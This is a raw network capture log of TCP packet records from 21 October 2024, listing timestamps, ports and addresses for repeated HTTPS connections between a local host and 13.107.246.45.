Oct 21, 2024 13:17:45.237026930 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.237766027 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.237802029 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.238238096 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.238245010 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.362785101 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.363465071 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.363497972 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.363926888 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.363934994 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.368134022 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.368199110 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.368273973 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.368479013 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.368494034 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.368498087 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.368526936 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.368534088 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.368702888 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.368871927 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.368890047 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.369025946 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.369041920 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.369335890 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.369342089 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.369404078 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.369410992 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.370925903 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.371381998 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.371407986 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.371730089 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.371737957 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.372149944 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.372186899 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.372262001 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.372416973 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.372430086 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.493299961 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.493324041 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.493380070 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.493396044 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.493443012 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.493719101 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.493738890 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.493762970 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.493768930 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.496872902 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.496917963 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.496994972 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.497201920 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.497219086 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.502295971 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.502324104 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.502367973 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.502372980 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.502409935 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.502509117 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.502517939 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.502526045 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.502531052 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.504975080 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.505004883 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.505062103 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.505211115 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.505222082 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.507404089 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.507457972 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.507512093 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.507603884 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.507613897 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.507644892 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.507651091 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.509941101 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.509967089 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.510077000 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.510360956 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.510375977 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.519412994 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.519445896 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.519505978 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.519517899 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.519721031 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.519735098 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.519743919 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.519962072 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.520056009 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.520103931 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.521826982 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.521862984 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:45.521953106 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.522130013 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:45.522145033 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.124006987 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.124527931 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.124548912 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.125349998 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.125360012 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.225708008 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.226214886 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.226243019 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.226675034 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.226680994 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.238399029 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.239016056 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.239334106 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.239367962 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.239521980 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.239540100 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.239814997 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.239825010 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.241084099 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.241090059 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.258007050 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.258048058 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.258090019 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.258121014 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.258275986 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.264282942 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.264306068 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.264373064 CEST	49893	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.264379978 CEST	443	49893	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.265340090 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.266206980 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.266227007 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.266627073 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.266639948 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.269454002 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.269493103 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.269607067 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.269783020 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.269793034 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.355484962 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.355824947 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.355964899 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.356070995 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.356090069 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.356105089 CEST	49894	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.356112957 CEST	443	49894	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.358896017 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.358921051 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.359016895 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.359272957 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.359283924 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.370516062 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.370553970 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.370593071 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.370637894 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.370829105 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.371064901 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.371088982 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.371104956 CEST	49895	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.371109962 CEST	443	49895	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.373217106 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.373251915 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.373368979 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.373450994 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.373506069 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.373518944 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.373653889 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.373713970 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.373912096 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.373913050 CEST	49896	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.373920918 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.373928070 CEST	443	49896	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.375561953 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.375581026 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.375643969 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.375761986 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.375770092 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.393485069 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.393557072 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.393668890 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.393675089 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.393805027 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.393805027 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.393821001 CEST	49897	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.393832922 CEST	443	49897	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.395875931 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.395901918 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:46.395994902 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.396131039 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:46.396142960 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.019117117 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.019757986 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.019769907 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.020287037 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.020292997 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.107899904 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.108367920 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.108498096 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.108515024 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.108732939 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.108750105 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.109020948 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.109026909 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.109119892 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.109129906 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.115272999 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.115747929 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.115760088 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.116168976 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.116175890 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.127526999 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.128063917 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.128077984 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.128417015 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.128422022 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.152780056 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.152851105 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.152947903 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.153208017 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.153208017 CEST	49898	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.153225899 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.153238058 CEST	443	49898	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.155925035 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.155972004 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.156064987 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.156207085 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.156217098 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.238823891 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.238879919 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.238929033 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.239149094 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.239171028 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.239186049 CEST	49900	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.239192009 CEST	443	49900	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.239415884 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.239449024 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.239490032 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.239610910 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.239610910 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.239686966 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.239706993 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.239718914 CEST	49901	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.239726067 CEST	443	49901	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.246607065 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.246637106 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.246697903 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.247411966 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.247422934 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.248358965 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.248374939 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.248466015 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.248728991 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.248750925 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.250536919 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.250559092 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.250602007 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.250612020 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.250648022 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.252824068 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.252834082 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.252842903 CEST	49899	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.252846956 CEST	443	49899	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.255748987 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.255769014 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.255822897 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.255994081 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.256006002 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.259782076 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.259934902 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.260044098 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.260313988 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.260328054 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.260338068 CEST	49902	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.260351896 CEST	443	49902	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.263236046 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.263246059 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.263350010 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.263667107 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.263679028 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.916162014 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.916652918 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.916665077 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.917108059 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.917114019 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.978379965 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.978945017 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.978972912 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.979373932 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.979382038 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.992547035 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.993213892 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.993228912 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.993993998 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.994003057 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.994924068 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.995345116 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.995356083 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.995712996 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.995719910 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.995995045 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.996434927 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.996443033 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:47.996622086 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:47.996628046 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.050276995 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.050345898 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.050709963 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.050709963 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.050709963 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.053462029 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.053503990 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.053574085 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.053781986 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.053790092 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.106250048 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.106422901 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.106600046 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.106600046 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.106643915 CEST	49906	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.106661081 CEST	443	49906	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.109649897 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.109675884 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.109807968 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.109931946 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.109949112 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.127376080 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.127402067 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.127444983 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.127506971 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.127527952 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.127800941 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.127825022 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.127840042 CEST	49904	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.127845049 CEST	443	49904	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.128004074 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.128082991 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.128146887 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.128364086 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.128379107 CEST	443	49905	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.128417969 CEST	49905	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.128423929 CEST	443	49905	13.107.246.45	192.168.2.9
